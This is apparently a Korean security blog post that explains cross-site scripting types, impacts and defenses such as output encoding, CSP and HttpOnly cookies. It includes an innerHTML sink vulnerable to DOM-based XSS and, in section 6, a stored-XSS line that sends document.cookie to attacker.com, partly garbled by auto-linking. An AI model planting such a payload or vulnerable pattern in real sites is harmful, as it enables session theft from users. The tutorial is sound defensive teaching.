728x90

1. XSS 공격 개요

XSS (Cross-Site Scripting)는 웹 애플리케이션 취약점을 이용해 악성 스크립트(주로 JavaScript)를 삽입하고, 이를 다른 사용자의 브라우저에서 실행시키는 공격입니다.

XSS는 공격자가 작성한 스크립트가 피해자의 브라우저에서 실행된다는 점이 핵심입니다. 이 스크립트는 쿠키, 세션 토큰, 사용자 입력 정보 등을 탈취하거나, 사용자의 브라우저를 조작하거나, 악성 사이트로 리다이렉션시킬 수 있습니다.

중요 포인트:

  • 서버 입장에서는 정상 요청처럼 보인다.
  • 피해자는 보통 자신이 공격당하고 있다는 것을 인지하기 어렵다.

 

2. XSS 공격의 기본 구조

  1. 공격자가 악성 스크립트를 웹사이트에 삽입
  2. 웹사이트가 별다른 검증 없이 이 스크립트를 포함해 응답
  3. 피해자가 웹사이트에 접속하면서 삽입된 스크립트가 실행
  4. 스크립트가 피해자의 쿠키, 세션 토큰 등을 탈취하거나 다른 행위를 수행

 

3. XSS 공격 유형

 

XSS는 공격이 삽입·전달되는 방식에 따라 보통 다음 세 가지로 구분됩니다.

(1) 저장형 XSS (Stored XSS, Persistent XSS)

  • 공격 스크립트가 서버에 저장된다 (예: 게시판 글, 댓글, 프로필 정보 등).
  • 다른 사용자가 그 페이지에 접속하면 저장된 스크립트가 실행된다.

예시:
게시판 글 제목에 <script>stealCookie()</script>를 삽입 → 다른 사용자가 글을 열람 시 쿠키 탈취

특징:

  • 피해자가 링크를 클릭하지 않아도 됨
  • 파급력 큼 (다수 사용자에 영향)

 

(2) 반사형 XSS (Reflected XSS)

  • 공격 스크립트가 서버에 저장되지 않고, HTTP 요청에 포함된 입력값이 바로 응답에 반영된다.
  • 사용자가 조작된 링크를 클릭하거나 폼을 제출할 때 공격이 발동한다.

예시:
URL에 악성 스크립트 삽입 → 서버가 이를 그대로 반영 → 사용자 브라우저에서 실행

https://example.com/search?q=stealCookie()

 

특징:

  • 사용자가 공격자가 만든 링크를 클릭해야 함
  • 보통 이메일, 메신저 등을 통해 유도

 

(3) DOM 기반 XSS (DOM-based XSS)

  • 서버 응답에는 문제가 없고, 브라우저가 클라이언트 측(JavaScript)에서 입력값을 처리할 때 발생
  • 입력값을 DOM에 삽입할 때 적절한 검증/인코딩이 이뤄지지 않아 발생한다.

예시 (JavaScript 코드에서 직접 취약):

var search = location.hash.substring(1);
document.getElementById("result").innerHTML = search;

 

위 코드에 대해 URL을 다음과 같이 조작:

https://example.com/#alert('XSS')

→ 브라우저가 해시값을 파싱해 그대로 DOM에 삽입하면서 스크립트가 실행

 

특징:

  • 서버는 모른다.
  • 클라이언트 스크립트 로직이 취약

 

4. XSS 공격의 결과 및 위협

 

XSS 공격이 성공하면 공격자는 다음을 할 수 있습니다:

  • 쿠키/세션 탈취 (ex: 세션 하이재킹)
  • 사용자 계정 탈취 (ex: 자동 로그인 세션 탈취)
  • 피싱 페이지 생성 (ex: 로그인 페이지 위조)
  • 웹사이트 조작 (ex: 화면 변조, 악성광고 삽입)
  • 키 입력 기록 (ex: 키로거 기능 삽입)
  • 브라우저 취약점 공격 (ex: RCE로 이어질 수 있음)

 

5. XSS 방어 방법

XSS를 막기 위해서는 다층 방어(Defense-in-Depth)가 필요합니다.

(1) 입력 검증 (Input Validation)

  • 사용자 입력에서 스크립트 코드 삽입을 차단
  • 허용된 값(화이트리스트)만 받기
  • 입력단에서 HTML, JavaScript 예약어 차단

(2) 출력 인코딩 (Output Encoding)

  • HTML 페이지에 출력하기 전에, 입력값을 HTML 엔티티로 변환
    • 예: <  &lt;, >  &gt;

특히 위치에 따라 맞는 인코딩을 해야 한다:

  • HTML 본문 → HTML Encoding
  • JavaScript 코드 안 → JavaScript Encoding
  • URL 안 → URL Encoding
  • CSS 안 → CSS Encoding

(3) Content Security Policy (CSP) 설정

  • script-src 등으로 스크립트 실행을 강하게 제어
  • 인라인 스크립트나 외부 스크립트 로딩을 제한
Content-Security-Policy: default-src 'self'; script-src 'self'

(4) HTTPOnly 속성으로 쿠키 보호

  • 쿠키를 JavaScript에서 접근하지 못하도록 설정
  • 세션 쿠키 탈취 리스크 감소
Set-Cookie: sessionId=abc123; HttpOnly; Secure

(5) 프레임워크 보안 기능 활용

  • React, Angular, Vue.js 등은 자동으로 output escaping을 지원
  • 개발자가 직접 태그를 삽입하지 않는 한 안전

 

6. Stored-XSS 공격 예시

1. 공격자가 게시판에 다음과 같은 글을 작성합니다.

fetch('<a href=http://attacker.com/steal?cookie='+document.cookie)>http://attacker.com/steal?cookie='+document.cookie)</a>

 

2. 다른 사용자가 게시판을 열람하면, 이 스크립트가 브라우저에서 실행됩니다.

 

3. 피해자의 쿠키 정보 attacker.com 서버로 전송됩니다.

 

4. 공격자는 피해자 쿠키를 통해 세션을 탈취할 수 있습니다.

 

728x90

+ Recent posts